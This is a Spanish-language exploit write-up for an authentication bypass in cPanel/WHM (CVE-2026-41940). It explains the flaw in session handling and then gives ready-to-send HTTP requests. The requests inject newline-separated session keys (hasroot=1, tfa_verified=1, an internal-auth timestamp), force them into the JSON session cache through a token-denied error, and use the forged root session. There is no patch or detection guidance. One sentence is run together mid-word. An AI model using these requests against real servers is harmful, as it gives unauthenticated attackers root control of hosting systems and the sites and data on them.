
Exploit para CVE-2026-41940, una omisión de autenticación en cPanel/WHM, que permite a atacantes no autenticados obtener acceso root mediante inyección de sesión y promoción de caché JSON.
CVE-2026-41940 es una vulnerabilidad crítica de bypass de autenticación en cPanel y WHM que afecta a todas las versiones actualmente soportadas. Permite a un atacante no autenticado eludir la autenticación y obtener acceso a nivel de root (WHM) o acceso a nivel de usuario (cPanel).
La vulnerabilidad se origina en dos problemas principales en Cpanel/Session.pm:
saveSession: La función saveSession no saneaba correctamente la entrada antes de escribirla en el archivo de sesión en disco. Específicamente, no eliminaba los caracteres de nueva línea (\n) del campo pass.pass en el archivo de sesión normalmente se cifra usando un secreto por sesión (ob). Sin embargo, si la cookie de sesión no contiene la parte ob (la parte después de la coma), la codificación se omite y el valor de pass se escribe en texto claro.La explotación es un proceso de varios pasos:
Envíe un intento de inicio de sesión fallido para provocar la creación de un archivo de sesión en disco.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
El servidor responde con una cookie whostmgrsession, por ejemplo, whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....
Envíe otra solicitud usando la cookie de sesión pero elimine la parte ob (la coma y todo lo que le sigue). En el campo pass, inyecte las claves de sesión deseadas usando nuevas líneas.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
Debido a que la parte ob falta, cpsrvd escribe el valor de pass sin codificar. Las nuevas líneas inyectadas hacen que las líneas subsiguientes se interpreten como pares clave-valor separados en el archivo de sesión sin procesar.
cPanel utiliza una caché JSON para las sesiones. La inyección sin procesar solo está en el archivo de texto. Para hacerla "activa", debemos forzar a cPanel a releer el archivo sin procesar y actualizar la caché JSON. Esto se puede hacer provocando un error de "Token Denied" en un endpoint que utilice Cpanel::Session::Modify.
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
La falta del token de seguridad en la URL provoca do_token_denied, que utiliza Cpanel::Session::Modify para actualizar el contador de token_denied. Modify lee el archivo sin procesar (omitiendo la caché) y luego escribe tanto el archivo sin procesar como la caché JSON, promoviendo efectivamente nuestras claves inyectadas al nivel superior de la caché JSON.
Ahora la sesión está completamente "autenticada" a los ojos de cPanel. La clave successful_internal_auth_with_timestamp omite la verificación de /etc/shadow.
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
El [TOKEN] se puede obtener del campo cp_security_token en la sesión, que a menudo se devuelve en la respuesta de "Token Denied" o se puede encontrar inspeccionando el comportamiento de la cookie de sesión.
tfa_verified=1: Omite la autenticación de dos factores.hasroot=1: Otorga privilegios de root en WHM.successful_internal_auth_with_timestamp=[TIMESTAMP]: Omite la verificación real de la contraseña contra el archivo shadow del sistema.user=root: Establece el usuario de la sesión como root.